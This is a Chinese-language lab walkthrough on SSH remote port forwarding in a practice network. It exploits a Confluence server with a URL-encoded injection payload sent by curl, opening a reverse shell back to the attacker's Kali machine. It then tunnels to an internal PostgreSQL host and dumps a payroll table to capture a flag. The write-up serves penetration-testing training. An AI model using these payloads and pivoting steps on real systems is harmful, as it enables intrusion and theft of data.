SSH Tunneling - Remote Port Forwarding
SSH Tunneling - Remote Port Forwarding
攻擊機 192.168.45.199
靶機 192.168.215.63、10.4.215.215
此環境限制是靶機端因防火牆的配置使得在 CONFLUENCE01 的 WAN 介面上綁定的端口無法順利連接,可以從 Kali 攻擊端機器連接到靶機的唯一端口是 TCP 8090
本次要利用的場景環境示意圖如下
將透過 SSH 從 CONFLUENCE01 連接到我們的 Kali 攻擊機器
Listen TCP 2345 Port 並綁定到 Kali 攻擊機器上的 loopback interface
傳送至此連接埠的封包由 Kali SSH 伺服器軟體透過 SSH 隧道推送回 CONFLUENCE01 上的 SSH 用戶端。然後它們被轉送到 PGDATABASE01 上的 PostgreSQL 資料庫連接埠。
第一步先確認 Kali 攻擊機上的 OPENSSH 服務啟動
指令 sudo systemctl start ssh
為了使用使用者名稱和密碼連接回 Kali SSH 伺服器,必須透過在 /etc/ssh/sshd_config 中將PasswordAuthentication 設定為 yes 來明確允許基於密碼的身份驗證
一樣先漏洞利用連回攻擊機 4444 Port 拿到 Remote Shell
curl -v http://192.168.215.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.199/4444%200%3E%261%27%29.start%28%29%22%29%7D/
然後確保 TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
然後透過 連回 Kali SSH 並起 loopback 2345 Port 對應到遠端 10.4.215.215 5432 的 PostgreSQL Port,指令 ssh -N -R 127.0.0.1:2345:10.4.215.215:5432 kali@192.168.45.199
參數 -R : SSH 遠端連接埠轉送
最後一行雖然寫 failed 但先不用理他
在 kali 攻擊機上查看 ss -ntplu,已經起來了
目前的連線關係圖如下
接著直接在攻擊機上對自己的 2345 Port 下指令,實際上是從 CONFLUENCE01 送指令出去到
10.4.215.215 的 5432 Port,可以看到已經連到 PostgreSQL 那一台了
psql -h 127.0.0.1 -p 2345 -U postgres
列舉一下 DB,\l
接著選擇 hr_backup 資料庫,postgres-# \c hr_backup
接著 \dt 列出所有資料表,可以看到有個資料表 payroll
接著 \d payroll 列出 Table 欄位,可以看到有個欄位叫做 flag,看來答案在此表中
將資料抓出來看看,指令 select * from payroll;,拿到答案了
PostgreSQL 指令可以參考 https://hackmd.io/@TgCSOOWNTu62i4zpeQdzrA/r1Pe_6LDj
練習 :
從 CONFLUENCE01 上的 Web 伺服器下載 /exercises/ssh_remote_client 處的二進位檔案 。
在 CONFLUENCE01 上建立 SSH 遠端連接埠轉發
讓您可以從 Kali 機器上針對 PGDATABASE01 上的連接埠 4444 執行二進位檔案。
注意:用於建置 ssh_remote_client 二進位檔案的來源檔案可以從 /exercises/client_source.zip 下載
先下載 ssh_remote_client,http://192.168.215.63:8090/exercises/ssh_remote_client
再下載 client_source.zip,http://192.168.215.63:8090/exercises/client_source.zip
下載後解壓縮並將檔案放在一起,建立了一個 1833 的資料夾
一樣第一步漏洞利用建立遠端的 Shell
curl -v http://192.168.215.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.199/1234%200%3E%261%27%29.start%28%29%22%29%7D/
然後確保 TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
然後透過 連回 Kali SSH 並起 loopback 4444 Port 對應到遠端 10.4.215.215 4444 Port
指令 ssh -N -R 127.0.0.1:4444:10.4.215.215:4444 kali@192.168.45.199
參數 -R : SSH 遠端連接埠轉送
最後一行雖然寫 failed 但先不用理他
接著直接在攻擊機上對自己的 4444 Port 下指令,實際上是從 CONFLUENCE01 送指令出去到
10.4.215.215 的 4444 Port,./ssh_remote_client -p 4444 -i 127.0.0.1
記得要將 ssh_remote_client 權限改成可執行,就拿到 flag 了
留言
張貼留言